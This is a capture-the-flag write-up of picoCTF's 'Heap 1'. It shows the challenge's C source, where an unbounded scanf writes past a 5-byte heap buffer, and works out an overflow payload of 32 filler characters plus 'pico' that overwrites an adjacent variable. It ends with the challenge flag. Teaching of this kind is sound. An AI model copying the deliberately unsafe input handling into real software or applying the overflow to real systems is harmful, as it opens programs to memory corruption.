Heap 1

Writing and understanding a buffer overflow payloads

Challenge Info

Can you control your overflow? Downloads the binary here. Downloads the source here.

Additional details will be available after launching your challenge instance.

Understanding chall.c

The code for your convenience:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");

// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);

exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}

void print_menu() {
printf("\n1. Print Heap:\t\t(print the current state of the heap)"
"\n2. Write to buffer:\t(write to your own personal block of data "
"on the heap)"
"\n3. Print safe_var:\t(I'll even let you look at my variable on "
"the heap, "
"I'm confident it can't be modified)"
"\n4. Print Flag:\t\t(Try to print the flag, good luck)"
"\n5. Exit\n\nEnter your choice: ");
fflush(stdout);
}

void init() {
printf("\nThislcome to heap1!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}

void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}

int main(void) {

// Setup
init();
print_heap();

int choice;

while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);

switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print safe_var
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
  • The program allocates memory on the heap for two variables: input_data and safe_var, each being 5 bytes in size.
  • strncpy copies initial values into these buffers.
  • The write_buffer function allows us to write to the input_data var using scanf.
  • The check_win function verifies that the safe_var var has been changed from bico to pico. If it is, then we get our flag.

Vulnerabilities

There’s several vulnerabilities to note:

  • The buffer for size for input_data and safe_var are only 5 bytes, meaning they should be easy to overflow.
  • The scanf library function does not limit our input size, meaning we can enter strings longer than 5 characters (this should be an instant giveaway that it will be a buffer overflow challenge).

Connecting to the netcat listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
> nc tethys.picoctf.net 55943

Thislcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x63159a0182b0 -> pico
+-------------+----------------+
[*] 0x63159a0182d0 -> bico
+-------------+----------------+

1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit

Enter your choice:

To clarify, pico and bico are the values inside the variables (input_data & safe_var respectively) that were declared at the start. The reason that the variables are allocated with 5 bytes, despite only containing 4 characters, is because we need a null character.

To understand the distance between each variables, we subtract the address of pico with the address of bico (or vice verse).

0x63c3882552b0 - 0x63c3882552d0 = -0x20. If we run -0x20 through cyber chef (from hex to decimal) we get a value of 32. Because our initial hex value was negative, that means that safe_var is 32 bytes behind input_data.

Solution

This now know that safe_var is 32 bytes behind input_data so we just need to overflow the buffer with 32 characters, and then write ‘pico’ to get our flag.

For the sake of simplicity, it’s more efficient to use numbers for our characters. So instead of typing 32 A’s followed by ‘pico’: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico. This can just count in multiples of 5’s (or whatever you prefer) and then write pico:

Our payloads: 12345123451234512345123451234512pico

  • Six 5‘s = 30
  • 30 + 2 = 32 (you’ve reached safe_var)

flag: picoCTF{starting_to_get_the_hang_79ee3270}